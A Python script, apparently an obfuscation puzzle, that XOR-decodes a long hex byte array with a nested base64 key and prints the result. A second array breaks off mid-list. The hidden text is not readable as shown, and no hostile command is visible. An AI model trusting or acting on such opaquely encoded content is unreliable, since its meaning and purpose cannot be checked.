0x50, 0x05, 0x4D, 0x66, 0x38, 0x1A, 0x0D, 0x22, 0x05, 0x0F, 0x34, 0x68, 0x7F, 0x6C, 0x62, 0x43, 0x6A, 0x29, 0x23, 0x30, 0x20, 0x3C, 0x13, 0x66, 0x37, 0x27, 0x33, 0x35, 0x1B, 0x16, 0x76, 0x4D, 0x50, 0x3C, 0x73, 0x58, 0x0A, 0x23, 0x43, 0x36, 0x10, 0x37, 0x01, 0x3C, 0x27, 0x14, 0x37, 0x19, 0x15, 0x2C, 0x56, 0x59, 0x6C, 0x2E, 0x61, 0x64, 0x2F, 0x6C, 0x6B, 0x16, 0x27, 0x21, 0x3A, 0x47, 0x00, 0x43, 0x12, 0x22, 0x2E, 0x40, 0x66, 0x5C, 0x40, 0x7A, 0x00, 0x3D, 0x28, 0x30, 0x3F, 0x5E, 0x3D, 0x77, 0x59, 0x67, 0x67, 0x61, 0x72, 0x09, 0x40, 0x31, 0x04, 0x3D, 0x23, 0x5A, 0x19, 0x47, 0x00, 0x4F, 0x74, 0x12, 0x66, 0x77, 0x73, 0x15, 0x6E, 0x03, 0x3C, 0x19, 0x72, 0x17, 0x31, 0x27, 0x00, 0x06, 0x2E, 0x45, 0x61, 0x51, 0x71, 0x78, 0x48, 0x77, 0x6D, 0x4B, 0x15, 0x6A, 0x2B, 0x09, 0x72, 0x61, 0x36, 0x5E, 0x24, 0x25, 0x22, 0x4A, 0x3B, 0x39, 0x16, 0x78, 0x0F, 0x29, 0x2D, 0x23, 0x24, 0x3C, 0x22, 0x43, 0x23, 0x16, 0x20, 0x05, 0x21, 0x07, 0x11, 0x5E, 0x3F, 0x3B, 0x22, 0x77, 0x45, 0x77, 0x67, 0x5B, 0x01, 0x62, 0x6B, 0x5E, 0x3A, 0x4B, 0x39, 0x04, 0x54, 0x58, 0x09, 0x50, 0x27, 0x1A, 0x7D, 0x71, 0x66, 0x2C, 0x6B, 0x11, 0x50, 0x70, 0x76, 0x05, 0x02, 0x4F, 0x7E, 0x21, 0x00, 0x0A, 0x14, 0x00, 0x21, 0x08, 0x37, 0x00, 0x13, 0x17, 0x20, 0x5D, 0x52, 0x26, 0x22, 0x02, 0x5E, 0x36, 0x2C, 0x00, 0x6C, 0x19, 0x72, 0x68, 0x79, 0x47, 0x70, 0x77, 0x0A, 0x04, 0x10, 0x23, 0x34, 0x1D, 0x5A, 0x4C, 0x6E, 0x49, 0x77, 0x66, 0x66, 0x46, 0x3F, 0x03, 0x0C, 0x4B, 0x3A, 0x41, 0x69, 0x45, 0x74, 0x5E, 0x3B, 0x63, 0x68, 0x66, 0x50, 0x78, 0x7A, 0x3E, 0x1A, 0x32, 0x45, 0x35, 0x2A, 0x53, 0x68, 0x4B, 0x54, 0x6F, 0x47, 0x4B, 0x11, 0x15, 0x76, 0x31, 0x11, 0x13, 0x3D, 0x3F, 0x29, 0x00, 0x75, 0x56, 0x19, 0x77, 0x50, 0x6B, 0x61, 0x77, 0x50, 0x5C, 0x7A, 0x41, 0x43, 0x4C, 0x13, 0x1C, 0x0D, 0x2A, 0x2B, 0x6E, 0x7E, 0x07, 0x32, 0x79, 0x6A, 0x4D, 0x45, 0x58, 0x3C, 0x45, 0x7D, 0x34, 0x32, 0x13, 0x2D, 0x36, 0x11, 0x32, 0x38, 0x23, 0x35, 0x1A, 0x19, 0x38, 0x3B, 0x05, 0x3D, 0x20, 0x3C, 0x19, 0x5D, 0x43, 0x68, 0x67, 0x72, 0x5A, 0x77, 0x10, 0x5F, 0x15, 0x75, 0x10, 0x11, 0x69, 0x71, 0x78, 0x44, 0x3E, 0x0F, 0x46, 0x71, 0x18, 0x26, 0x09, 0x29, 0x05, 0x32, 0x66, 0x73, 0x52, 0x0D, 0x36, 0x29, 0x06, 0x36, 0x57, 0x1B, 0x0C, 0x3F, 0x03, 0x41, 0x5F, 0x3F, 0x42, 0x67, 0x2E, 0x6E, 0x66, 0x76, 0x73, 0x42, 0x66, 0x50, 0x53, 0x75, 0x4D, 0x11, 0x19, 0x39, 0x66, 0x30, 0x0A, 0x3D, 0x67, 0x19, 0x75, 0x42, 0x68, 0x76, 0x5A, 0x2A, 0x2B, 0x1F, 0x27, 0x32, 0x35, 0x02, 0x13, 0x3B, 0x19, 0x40, 0x33, 0x15, 0x42, 0x71, 0x59, 0x04, 0x41, 0x4C, 0x6B, 0x43, 0x76, 0x44, 0x54, 0x42, 0x66, 0x6E, 0x78, 0x21, 0x1C, 0x19, 0x2D, 0x35, 0x59, 0x7A, 0x43, 0x22, 0x37, 0x32, 0x16, 0x31, 0x0B, 0x67, 0x5C, 0x42, 0x67, 0x48, 0x53, 0x75, 0x10, 0x44, 0x73, 0x2D, 0x5C, 0x7A, 0x51, 0x71, 0x4E, 0x44, 0x73, 0x6D, 0x76, 0x50, 0x69, 0x74, 0x76, 0x00, 0x54, 0x12, 0x23, 0x7A, 0x41, 0x59, 0x4C, 0x4C, 0x41, 0x73, 0x68, 0x62, 0x6C, 0x76, 0x4A, 0x6A, 0x6B, 0x76, 0x76, 0x66, 0x79, 0x41, 0x66, 0x17, 0x27, 0x33, 0x35, 0x1B, 0x69, 0x32, 0x0C, 0x04, 0x26, 0x08, 0x42, 0x14, 0x7C, 0x48, 0x18, 0x44, 0x6B, 0x42, 0x34, 0x17, 0x2F, 0x35, 0x02, 0x1A, 0x04, 0x10, 0x1F, 0x01, 0x12, 0x28, 0x23, 0x0F, 0x6C, 0x6B, 0x5A, 0x66, 0x78, 0x75, 0x12, 0x54, 0x4B, 0x41, 0x76, 0x6A, 0x54, 0x75, 0x4C, 0x4C, 0x7A, 0x42, 0x36, 0x34, 0x31, 0x37, 0x5B, 0x61, 0x5D, 0x44, 0x67, 0x72, 0x68, 0x72, 0x4B, 0x15, 0x77, 0x42, 0x78, 0x71, 0x5A, 0x35, 0x53, 0x07, 0x0A, 0x74, 0x05, 0x7C, 0x5D, 0x73, 0x4E, 0x6E, 0x4A, 0x72, 0x4D, 0x72, 0x41, 0x74, 0x75, 0x44, 0x4F, 0x36, 0x3B, 0x7A, 0x51, 0x71, 0x78, 0x48, 0x77, 0x6D, 0x4B, 0x15, 0x6A, 0x76, 0x12, 0x58, 0x4B, 0x75, 0x11, 0x23, 0x38, 0x22, 0x4A, 0x30, 0x77, 0x5F, 0x78, 0x31, 0x3C, 0x34, 0x09, 0x21, 0x10, 0x32, 0x50, 0x22, 0x14, 0x0F, 0x41, 0x63, 0x1A, 0x22, 0x6C, 0x71, 0x5F, 0x76, 0x77, 0x58, 0x77, 0x76, 0x4B, 0x11, 0x72, 0x70, 0x74, 0x10, 0x1D, 0x76, 0x4D, 0x10, 0x58, 0x0D, 0x5F, 0x3A, 0x54, 0x34, 0x78, 0x51, 0x77, 0x12, 0x45, 0x11, 0x33, 0x3D, 0x33, 0x00, 0x0E, 0x22, 0x27, 0x37, 0x78, 0x7E, 0x1F, 0x3E, 0x37, 0x6D, 0x66, 0x7A, 0x59, 0x76, 0x12, 0x11, 0x67, 0x76, 0x4B, 0x11, 0x78, 0x45, 0x64, 0x62, 0x41, 0x72, 0x76, 0x2A, 0x03, 0x38, 0x34, 0x13, 0x3E, 0x00, 0x37, 0x32, 0x12, 0x3A, 0x35, 0x14, 0x42, 0x7C, 0x1B, 0x66, 0x0E, 0x76, 0x0C, 0x58, 0x40, 0x73, 0x53, 0x72, 0x72, 0x74, 0x4E, 0x6E, 0x78, 0x42, 0x66, 0x50, 0x78, 0x7A, 0x77, 0x54, 0x66, 0x45, 0x66, 0x7A, 0x53, 0x37, 0x19, 0x01, 0x35, 0x26, 0x50, 0x3B, 0x15, 0x76, 0x67, 0x54, 0x41, 0x79, 0x76, 0x6A, 0x54, 0x75, 0x4B, 0x19, 0x27, 0x68, 0x78, 0x72, 0x6C, 0x7A, 0x76, 0x7A, 0x41, 0x43, 0x4C, 0x44, 0x54, 0x44, 0x25, 0x2F, 0x3D, 0x33, 0x4E, 0x7A, 0x63, 0x5C, 0x4D, 0x10, 0x11, 0x72, 0x11, 0x75, 0x59, 0x73, 0x4B, 0x44, 0x78, 0x42, 0x3D, 0x40, 0x76, 0x76, 0x4E, 0x50, 0x77, 0x75, 0x66, 0x72, 0x75, 0x72, 0x4D, 0x54, 0x4A, 0x42, 0x67, 0x72, 0x13, 0x39, 0x1F, 0x75, 0x54, 0x75, 0x0D, 0x11, 0x3A, 0x25, 0x39, 0x07, 0x3C, 0x3E, 0x56, 0x30, 0x03, 0x37, 0x31, 0x6B, 0x4C, 0x24, 0x36, 0x13, 0x49, 0x68, 0x66, 0x6A, 0x49, 0x72, 0x12, 0x48, 0x77, 0x76, 0x4D, 0x15, 0x57, 0x76, 0x12, 0x6E, 0x53, 0x75, 0x05, 0x38, 0x27, 0x42, 0x24, 0x50, 0x4E, 0x75, 0x1E, 0x0C, 0x16, 0x2E, 0x2D, 0x0E, 0x1C, 0x3B, 0x33, 0x58, 0x0E, 0x4F, 0x78, 0x25, 0x45, 0x07, 0x73, 0x7A, 0x63, 0x77, 0x66, 0x79, 0x5A, 0x75, 0x4D, 0x48, 0x7A, 0x45, 0x4B, 0x7A, 0x48, 0x79, 0x5A, 0x66, 0x12, 0x17, 0x37, 0x07, 0x1F, 0x3D, 0x22, 0x2F, 0x2C, 0x33, 0x30, 0x03, 0x29, 0x7D, 0x1A, 0x07, 0x4B, 0x70, 0x67, 0x30, 0x59, 0x78, 0x4E, 0x2C, 0x6D, 0x68, 0x67, 0x48, 0x53, 0x75, 0x10, 0x44, 0x73, 0x76, 0x76, 0x7A, 0x51, 0x71, 0x4E, 0x44, 0x73, 0x6D, 0x34, 0x02, 0x2C, 0x35, 0x3D, 0x58, 0x3F, 0x41, 0x66, 0x7A, 0x53, 0x43, 0x66, 0x4C, 0x41, 0x73, 0x68, 0x62, 0x6C, 0x2B, 0x60, 0x6A, 0x6B, 0x76, 0x76, 0x66, 0x79, 0x41, 0x66, 0x44, 0x73, 0x72, 0x76, 0x13, 0x57, 0x25, 0x08, 0x50, 0x76, 0x67, 0x0B, 0x6E, 0x77, 0x43, 0x65, 0x44, 0x76, 0x42, 0x77, 0x58, 0x50, 0x76, 0x4D, 0x54, 0x0C, 0x6E, 0x4C, 0x7A, 0x53, 0x7A, 0x64, 0x72, 0x77, 0x41, 0x5A, 0x66, 0x78, 0x75, 0x12, 0x54, 0x4B, 0x41, 0x3F, 0x24, 0x00, 0x75, 0x0E, 0x4C, 0x67, 0x42, 0x27, 0x32, 0x35, 0x35, 0x5B, 0x05, 0x33, 0x05, 0x33, 0x33, 0x13, 0x7F, 0x46, 0x46, 0x27, 0x3F, 0x63, 0x5B, 0x5A, 0x76, 0x12, 0x54, 0x4F, 0x74, 0x12, 0x66, 0x77, 0x73, 0x4E, 0x6E, 0x4A, 0x72, 0x4D, 0x72, 0x08, 0x3A, 0x21, 0x44, 0x0E, 0x6D, 0x0C, 0x7A, 0x02, 0x25, 0x39, 0x0B, 0x3C, 0x12, 0x0F, 0x54, 0x3E, 0x37, 0x69, 0x55, 0x46, 0x26, 0x41, 0x17, 0x6D, 0x5C, 0x4A, 0x72, 0x77, 0x42, 0x78, 0x62, 0x68, 0x75, 0x4A, 0x6A, 0x6F, 0x76, 0x11, 0x76, 0x55, 0x74, 0x1F, 0x3A, 0x08, 0x31, 0x5A, 0x15, 0x31, 0x37, 0x23, 0x19, 0x0C, 0x25, 0x1B, 0x1A, 0x79, 0x0D, 0x74, 0x0D, 0x1D, 0x37, 0x4D, 0x6E, 0x58, 0x06, 0x0A, 0x44, 0x54, 0x75, 0x78, 0x4C, 0x77, 0x41, 0x11, 0x50, 0x70, 0x76, 0x4C, 0x44, 0x4F, 0x76, 0x66, 0x4C, 0x37, 0x21, 0x09, 0x2F, 0x01, 0x6D, 0x66, 0x7A, 0x59, 0x76, 0x12, 0x11, 0x67, 0x76, 0x4B, 0x11, 0x78, 0x45, 0x64, 0x3F, 0x6B, 0x58, 0x76, 0x79, 0x57, 0x79, 0x77, 0x58, 0x41, 0x44, 0x76, 0x66, 0x53, 0x41, 0x25, 0x05, 0x1A, 0x32, 0x66, 0x77, 0x06, 0x6C, 0x67, 0x58, 0x4B, 0x73, 0x11, 0x69, 0x58, 0x74, 0x4E, 0x6E, 0x78, 0x42, 0x66, 0x0B, 0x52, 0x7A, 0x77, 0x54, 0x66, 0x45, 0x66, 0x7A, 0x53, 0x75, 0x4B, 0x44, 0x74, 0x6D, 0x4B, 0x11, 0x15, 0x3F, 0x29, 0x00, 0x41, 0x3B, 0x76, 0x77, 0x54, 0x26, 0x1F, 0x58, 0x39, 0x09, 0x07, 0x36, 0x2D, 0x2E, 0x37, 0x01, 0x4C, 0x4E, 0x1F, 0x14, 0x29, 0x5F, 0x4C, 0x6E, 0x6E, 0x76, 0x4E, 0x62, 0x79, 0x76, 0x4D, 0x10, 0x11, 0x72, 0x11, 0x75, 0x59, 0x73, 0x4B, 0x0D, 0x36, 0x16, 0x66, 0x2B, 0x76, 0x6B, 0x4E, 0x03, 0x23, 0x34, 0x25, 0x39, 0x0A, 0x36, 0x0C, 0x00, 0x0B, 0x39, 0x6A, 0x7F, 0x09, 0x27, 0x36, 0x6E, 0x3F, 0x75, 0x10, 0x11, 0x69, 0x71, 0x78, 0x44, 0x77, 0x41, 0x12, 0x71, 0x57, 0x76, 0x4A, 0x66, 0x41, 0x24, 0x32, 0x2F, 0x11, 0x09, 0x19, 0x2E, 0x08, 0x26, 0x53, 0x33, 0x24, 0x26, 0x46, 0x1E, 0x2A, 0x76, 0x0F, 0x6E, 0x1A, 0x3B, 0x18, 0x7E, 0x32, 0x42, 0x7B, 0x4D, 0x53, 0x37, 0x44, 0x43, 0x7D, 0x6D, 0x66, 0x71, 0x58, 0x7A, 0x67, 0x19, 0x75, 0x42, 0x75, 0x76, 0x15, 0x7A, 0x68, 0x50, 0x63, 0x35, 0x34, 0x3C, 0x1B, 0x3E, 0x56, 0x62, 0x7A, 0x45, 0x4B, 0x7A, 0x48, 0x79, 0x5A, 0x66, 0x41, 0x43, 0x76, 0x44, 0x09, 0x68, 0x4C, 0x6E, 0x78, 0x72, 0x4B, 0x50, 0x79, 0x76, 0x11, 0x7A, 0x4B, 0x6D, 0x67, 0x32, 0x18, 0x26, 0x0B, 0x6E, 0x67, 0x54, 0x7D, 0x62, 0x53, 0x75, 0x10, 0x44, 0x73, 0x76, 0x76, 0x7A, 0x51, 0x71, 0x4E, 0x44, 0x28, 0x47, 0x76, 0x50, 0x69, 0x74, 0x76, 0x43, 0x15, 0x41, 0x66, 0x7A, 0x53, 0x43, 0x66, 0x4C, 0x41, 0x73, 0x2A, 0x2D, 0x23, 0x3A, 0x4A, 0x25, 0x20, 0x76, 0x6B, 0x66, 0x2D, 0x13, 0x33, 0x01, 0x68, 0x58, 0x76, 0x50, 0x16, 0x76, 0x4D, 0x50, 0x67, 0x73, 0x11, 0x44, 0x77, 0x43, 0x65, 0x44, 0x76, 0x42, 0x31, 0x17, 0x02, 0x76, 0x45, 0x1D, 0x19, 0x10, 0x4C, 0x33, 0x53, 0x67, 0x64, 0x62, 0x6C, 0x41, 0x13, 0x66, 0x64, 0x75, 0x03, 0x42, 0x50, 0x41, 0x3F, 0x61, 0x5F, 0x7C, 0x66, 0x4C, 0x7A, 0x42, 0x74, 0x66, 0x74, 0x76, 0x10, 0x7A, 0x77, 0x44, 0x67, 0x72, 0x68, 0x72, 0x4B, 0x4E, 0x5D, 0x42, 0x78, 0x71, 0x5A, 0x76, 0x12, 0x54, 0x4F, 0x74, 0x12, 0x66, 0x77, 0x73, 0x4E, 0x6E, 0x4A, 0x72, 0x4D, 0x72, 0x41, 0x3D, 0x33, 0x44, 0x47, 0x3E, 0x45, 0x3B, 0x12, 0x3A, 0x07, 0x0C, 0x36, 0x39, 0x0A, 0x6E, 0x23, 0x0B, 0x12, 0x59, 0x56, 0x75, 0x19, 0x29, 0x3F, 0x26, 0x02, 0x37, 0x25, 0x39, 0x31, 0x1F, 0x68, 0x78, 0x4A, 0x78, 0x7F, 0x7F, 0x18, 0x5C, 0x55, 0x74, 0x4C, 0x6E, 0x49, 0x72, 0x11, 0x6A, 0x75, 0x76, 0x77, 0x58, 0x77, 0x76, 0x4B, 0x11, 0x72, 0x70, 0x74, 0x10, 0x46, 0x76, 0x67, 0x10, 0x58, 0x44, 0x11, 0x6E, 0x54, 0x75, 0x78, 0x4C, 0x77, 0x41, 0x11, 0x50, 0x70, 0x76, 0x4C, 0x44, 0x4F, 0x76, 0x66, 0x4C, 0x75, 0x73, 0x4C, 0x21, 0x01, 0x76, 0x51, 0x7A, 0x1F, 0x37, 0x5E, 0x42, 0x22, 0x6D, 0x4B, 0x3B, 0x78, 0x45, 0x64, 0x62, 0x41, 0x72, 0x76, 0x79, 0x57, 0x79, 0x77, 0x58, 0x41, 0x44, 0x76, 0x66, 0x53, 0x41, 0x66, 0x44, 0x49, 0x77, 0x66, 0x66, 0x51, 0x24, 0x08, 0x19, 0x00, 0x68, 0x11, 0x43, 0x58, 0x74, 0x4E, 0x6E, 0x78, 0x42, 0x66, 0x50, 0x78, 0x7A, 0x77, 0x54, 0x66, 0x45, 0x66, 0x7A, 0x53, 0x75, 0x4B, 0x44, 0x29, 0x47, 0x4B, 0x11, 0x15, 0x76, 0x67, 0x54, 0x41, 0x79, 0x76, 0x6A, 0x54, 0x75, 0x4B, 0x19, 0x7A, 0x42, 0x25, 0x58, 0x6C, 0x7A, 0x76, 0x7A, 0x41, 0x43, 0x4C, 0x44, 0x54, 0x44, 0x66, 0x6E, 0x6E, 0x76, 0x4E, 0x62, 0x2F, 0x33, 0x1F, 0x54, 0x58, 0x31, 0x45, 0x75, 0x44, 0x73, 0x04, 0x0F, 0x78, 0x5D, 0x66, 0x7B, 0x76, 0x6C, 0x4E, 0x5D, 0x66, 0x6E, 0x4C, 0x72, 0x75, 0x72, 0x4D, 0x54, 0x4A, 0x42, 0x67, 0x72, 0x5A, 0x77, 0x4B, 0x75, 0x15, 0x75, 0x10, 0x43, 0x2C, 0x25, 0x2D, 0x16, 0x39, 0x5A, 0x38, 0x71, 0x57, 0x76, 0x4A, 0x66, 0x41, 0x77, 0x66, 0x6E, 0x52, 0x42, 0x66, 0x37, 0x63, 0x58, 0x12, 0x48, 0x77, 0x76, 0x4D, 0x15, 0x57, 0x76, 0x12, 0x6E, 0x53, 0x75, 0x0F, 0x37, 0x20, 0x07, 0x66, 0x41, 0x4B, 0x6F, 0x67, 0x58, 0x57, 0x6D, 0x66, 0x71, 0x58, 0x7A, 0x67, 0x19, 0x75, 0x42, 0x75, 0x2D, 0x3F, 0x7A, 0x68, 0x50, 0x63, 0x77, 0x66, 0x79, 0x5A, 0x75, 0x4D, 0x48, 0x7A, 0x45, 0x4B, 0x7A, 0x48, 0x30, 0x14, 0x32, 0x41, 0x00, 0x76, 0x59, 0x54, 0x11, 0x32, 0x2F, 0x3B, 0x39, 0x34, 0x14, 0x38, 0x22, 0x50, 0x01, 0x46, 0x60, 0x34, 0x21, 0x24, 0x6E, 0x64, 0x6E, 0x76, 0x42, 0x67, 0x48, 0x53, 0x75, 0x10, 0x44, 0x73, 0x76, 0x76, 0x7A, 0x51, 0x71, 0x4E, 0x0D, 0x35, 0x6D, 0x7E, 0x13, 0x69, 0x69, 0x6B, 0x43, 0x05, 0x48, 0x66, 0x33, 0x03, 0x43, 0x7B, 0x4C, 0x14, 0x3A, 0x26, 0x36, 0x64, 0x37, 0x18, 0x2D, 0x62, 0x6D, 0x5C, 0x66, 0x79, 0x41, 0x66, 0x44, 0x73, 0x72, 0x76, 0x50, 0x16, 0x76, 0x4D, 0x50, 0x67, 0x73, 0x11, 0x06, 0x25, 0x06, 0x24, 0x0F, 0x6D, 0x68, 0x77, 0x58, 0x50, 0x76, 0x4D, 0x54, 0x57, 0x44, 0x4C, 0x7A, 0x53, 0x7A, 0x39, 0x58, 0x5D, 0x41, 0x5A, 0x66, 0x78, 0x75, 0x12, 0x54, 0x4B, 0x41, 0x76, 0x6A, 0x54, 0x31, 0x09, 0x0A, 0x3B, 0x17, 0x38, 0x32, 0x6E, 0x5C, 0x10, 0x7A, 0x77, 0x44, 0x67, 0x72, 0x68, 0x72, 0x4B, 0x15, 0x77, 0x42, 0x78, 0x71, 0x5A, 0x76, 0x44, 0x11, 0x1D, 0x30, 0x5B, 0x25, 0x23, 0x73, 0x53, 0x6E, 0x5F, 0x62, 0x5D, 0x69, 0x6B, 0x74, 0x75, 0x44, 0x4F, 0x6D, 0x11, 0x7A, 0x51, 0x71, 0x78, 0x48, 0x77, 0x6D, 0x4B, 0x15, 0x6A, 0x24, 0x57, 0x0C, 0x1E, 0x27, 0x5F, 0x71, 0x5C, 0x76, 0x4A, 0x72, 0x77, 0x42, 0x78, 0x62, 0x68, 0x28, 0x60, 0x40, 0x6F, 0x76, 0x11, 0x76, 0x55, 0x74, 0x4C, 0x6E, 0x00, 0x22, 0x1A, 0x77, 0x67, 0x6D, 0x5D, 0x58, 0x77, 0x76, 0x4B, 0x4C, 0x58, 0x70, 0x74, 0x10, 0x1D, 0x20, 0x08, 0x42, 0x1C, 0x0D, 0x52, 0x3A, 0x54, 0x68, 0x78, 0x59, 0x67, 0x50, 0x0A, 0x7A, 0x2D, 0x5C, 0x00, 0x00]
s[0] ^= 0x56
xor = b"Vm0xd1NtUXlWa1pPVldoVFlUSlNjVlZyV21GVk1XeDBaRVYwYWxadVFsaFdiWFF3VmxkS1IxTnNXbFpXZWtFeFZsUkdTMk15VGtaYVJtUk9ZbXRLZVZacldtdFNNVnBYVm01R1UySkdXbFJVVnpWUFRURmtjbGRzWkU5U01IQXdWa2QwVjFaWFNrbFJiR2hWVm5wV2NsUlVSbFpsUmxwMFQxZG9UbUV5ZHpCWFYzUmhZekZhYzFacVdtbFNXRkpYV1ZkMGQyUnNVbGhsU0dSVVZqQndSMVpITVc5aFZscFlaSHBLVjJKVVFYaFdSRVp6VmpGS1dWcEdVbWxpVmtwdlZsZDRWazFXU2tkaVJtUllZbTFTV0ZWdGRHRk5WbXQzV2toT2FWSnNjRmRaTUdoM1ZqQXhWMk5JV2xkU1JVVjRWbXBHUjJOV1VuTlNiR1JUVWxWVk1RPT0="
for i in range(1, 2318):
    s[i] ^= xor[i%460]
print("".join(map(chr, s)))

s = [0x75, 0x1B, 0x55, 0x0A, 0x17, 0x58, 0x21, 0x1A, 0x75, 0x6B, 0x5F, 0x67, 0x6B, 0x3B, 0x53, 0x34, 0x33, 0x0A, 0x0D, 0x01, 0x33, 0x66, 0x3F, 0x7D, 0x32, 0x40, 0x2C, 0x46, 0x22, 0x45, 0x7A, 0x0A, 0x3B, 0x5D, 0x5E, 0x33, 0x3E, 0x18, 0x45, 0x3D, 0x15, 0x6C, 0x23, 0x4D, 0x30, 0x7A, 0x2D, 0x5E, 0x53, 0x5D, 0x0D, 0x0F, 0x0D, 0x30, 0x29, 0x01, 0x0C, 0x66, 0x02, 0x05, 0x38, 0x27, 0x32, 0x13, 0x22, 0x04, 0x15, 0x0E, 0x68, 0x3B, 0x43, 0x17, 0x21, 0x1A, 0x6E, 0x2E, 0x07, 0x25, 0x44, 0x78, 0x3C, 0x25, 0x15, 0x21, 0x26, 0x29, 0x36, 0x1C, 0x27, 0x50, 0x6E, 0x5E, 0x20, 0x0A, 0x45, 0x07, 0x76, 0x15, 0x1B, 0x15, 0x71, 0x30, 0x26, 0x1B, 0x34, 0x1F, 0x19, 0x3B, 0x4B, 0x78, 0x29, 0x46, 0x7A, 0x76, 0x7A, 0x41, 0x05, 0x00, 0x0B, 0x15, 0x10, 0x66, 0x3D, 0x6E, 0x6B, 0x4E, 0x31, 0x30, 0x38, 0x45, 0x51, 0x18, 0x69, 0x3B, 0x75, 0x59, 0x73, 0x4B, 0x02, 0x34, 0x0D, 0x27, 0x3E, 0x76, 0x35, 0x4E, 0x4D, 0x77, 0x36, 0x29, 0x21, 0x7D, 0x33, 0x44, 0x4F, 0x60, 0x42, 0x67, 0x72, 0x5A, 0x25, 0x0E, 0x21, 0x40, 0x27, 0x5E, 0x11, 0x24, 0x30, 0x2C, 0x56, 0x7F, 0x02, 0x1E, 0x71, 0x5A, 0x25, 0x46, 0x66, 0x12, 0x7B, 0x66, 0x2D, 0x5B, 0x59, 0x4C, 0x37, 0x63, 0x58, 0x44, 0x0D, 0x34, 0x64, 0x4D, 0x5D, 0x16, 0x25, 0x5A, 0x66, 0x05, 0x30, 0x0F, 0x64, 0x73, 0x12, 0x6F, 0x50, 0x08, 0x5F, 0x4D, 0x58, 0x57, 0x6D, 0x36, 0x71, 0x45, 0x7A, 0x31, 0x5C, 0x36, 0x50, 0x7D, 0x32, 0x5A, 0x2E, 0x60, 0x00, 0x6F, 0x77, 0x30, 0x3C, 0x19, 0x67, 0x45, 0x5A, 0x6B, 0x57, 0x5C, 0x74, 0x59, 0x75, 0x5A, 0x7E, 0x50, 0x4D, 0x67, 0x53, 0x5D, 0x4B, 0x6A, 0x6E, 0x3C, 0x3D, 0x1F, 0x58, 0x29, 0x7A, 0x11, 0x2C, 0x0E, 0x2E, 0x75, 0x79, 0x48, 0x67, 0x58, 0x77, 0x78, 0x57, 0x6B, 0x48, 0x41, 0x6D, 0x03, 0x4A, 0x60, 0x61, 0x7F, 0x73, 0x58, 0x6A, 0x64, 0x44, 0x73, 0x6D, 0x76, 0x02, 0x2C, 0x20, 0x23, 0x11, 0x5B, 0x41, 0x20, 0x28, 0x12, 0x00, 0x32, 0x44, 0x12, 0x3A, 0x26, 0x6A, 0x3C, 0x7F, 0x4A, 0x60, 0x6B, 0x62, 0x65, 0x71, 0x6C, 0x59, 0x68, 0x51, 0x67, 0x67, 0x65, 0x59, 0x0D, 0x5C, 0x10, 0x7A, 0x4D, 0x35, 0x5D, 0x0B, 0x36, 0x17, 0x65, 0x0A, 0x39, 0x0B, 0x24, 0x1D, 0x58, 0x20, 0x08, 0x17, 0x45, 0x44, 0x1C, 0x73, 0x53, 0x21, 0x4E, 0x72, 0x77, 0x41, 0x5A, 0x30, 0x3D, 0x36, 0x00, 0x54, 0x02, 0x41, 0x6B, 0x6A, 0x12, 0x39, 0x03, 0x03, 0x28, 0x4A, 0x24, 0x6F, 0x6F, 0x5C, 0x10, 0x7A, 0x77, 0x44, 0x31, 0x37, 0x2B, 0x60, 0x4B, 0x53, 0x77, 0x5F, 0x78, 0x37, 0x08, 0x37, 0x51, 0x00, 0x47, 0x24, 0x1B, 0x7D, 0x5D, 0x73, 0x4E, 0x6E, 0x4A, 0x24, 0x08, 0x31, 0x53, 0x74, 0x20, 0x44, 0x52, 0x6D, 0x57, 0x7A, 0x5B, 0x71, 0x3E, 0x48, 0x7D, 0x6D, 0x43, 0x06, 0x64, 0x66, 0x12, 0x55, 0x4B, 0x67, 0x1F, 0x7A, 0x76, 0x7C, 0x4A, 0x34, 0x7E, 0x59, 0x52, 0x48, 0x68, 0x75, 0x4A, 0x6A, 0x3D, 0x33, 0x45, 0x23, 0x07, 0x3A, 0x4C, 0x23, 0x00, 0x2A, 0x19, 0x40, 0x75, 0x76, 0x77, 0x58, 0x77, 0x76, 0x4B, 0x11, 0x3F, 0x39, 0x2C, 0x18, 0x59, 0x39, 0x19, 0x18, 0x55, 0x55, 0x1F, 0x7E, 0x54, 0x7E, 0x78, 0x5E, 0x79, 0x51, 0x11, 0x5A, 0x70, 0x3E, 0x0D, 0x17, 0x07, 0x7E, 0x2F, 0x4C, 0x7E, 0x73, 0x1A, 0x2B, 0x09, 0x64, 0x44, 0x6A, 0x57, 0x66, 0x1E, 0x11, 0x77, 0x78, 0x5B, 0x18, 0x71, 0x49, 0x64, 0x24, 0x41, 0x7F, 0x76, 0x2F, 0x12, 0x3A, 0x65, 0x50, 0x51, 0x4A, 0x66, 0x6A, 0x53, 0x51, 0x68, 0x54, 0x40, 0x7E, 0x6A, 0x4C, 0x13, 0x76, 0x4D, 0x58, 0x4B, 0x73, 0x11, 0x69, 0x58, 0x74, 0x4E, 0x6E, 0x3C, 0x0D, 0x32, 0x58, 0x75, 0x6B, 0x79, 0x44, 0x66, 0x4E, 0x66, 0x68, 0x5D, 0x65, 0x4B, 0x4E, 0x74, 0x25, 0x0A, 0x42, 0x5D, 0x7E, 0x2E, 0x54, 0x4A, 0x79, 0x20, 0x2F, 0x17, 0x67, 0x43, 0x08, 0x74, 0x52, 0x74, 0x72, 0x7C, 0x74, 0x66, 0x73, 0x48, 0x4F, 0x4C, 0x02, 0x54, 0x49, 0x66, 0x38, 0x2B, 0x35, 0x5C, 0x6A, 0x68, 0x78, 0x5D, 0x1C, 0x11, 0x62, 0x1F, 0x65, 0x50, 0x7A, 0x47, 0x44, 0x2D, 0x4C, 0x3E, 0x63, 0x7A, 0x5C, 0x4E, 0x50, 0x77, 0x75, 0x66, 0x72, 0x75, 0x72, 0x00, 0x1D, 0x12, 0x4A, 0x23, 0x3D, 0x0E, 0x7F, 0x46, 0x64, 0x1B, 0x65, 0x10, 0x1A, 0x69, 0x63, 0x76, 0x54, 0x77, 0x4B, 0x12, 0x39, 0x16, 0x25, 0x02, 0x6E, 0x08, 0x77, 0x6D, 0x6E, 0x04, 0x07, 0x25, 0x78, 0x41, 0x62, 0x1C, 0x58, 0x7B, 0x76, 0x5C, 0x1B, 0x47, 0x7F, 0x1B, 0x62, 0x53, 0x33, 0x4C, 0x7B, 0x73, 0x14, 0x23, 0x13, 0x41, 0x7D, 0x5D, 0x56, 0x47, 0x61, 0x66, 0x60, 0x56, 0x6A, 0x6E, 0x10, 0x79, 0x68, 0x75, 0x76, 0x15, 0x7A, 0x68, 0x50, 0x63, 0x77, 0x66, 0x79, 0x5A, 0x75, 0x09, 0x07, 0x2E, 0x4D, 0x46, 0x6B, 0x46, 0x69, 0x5A, 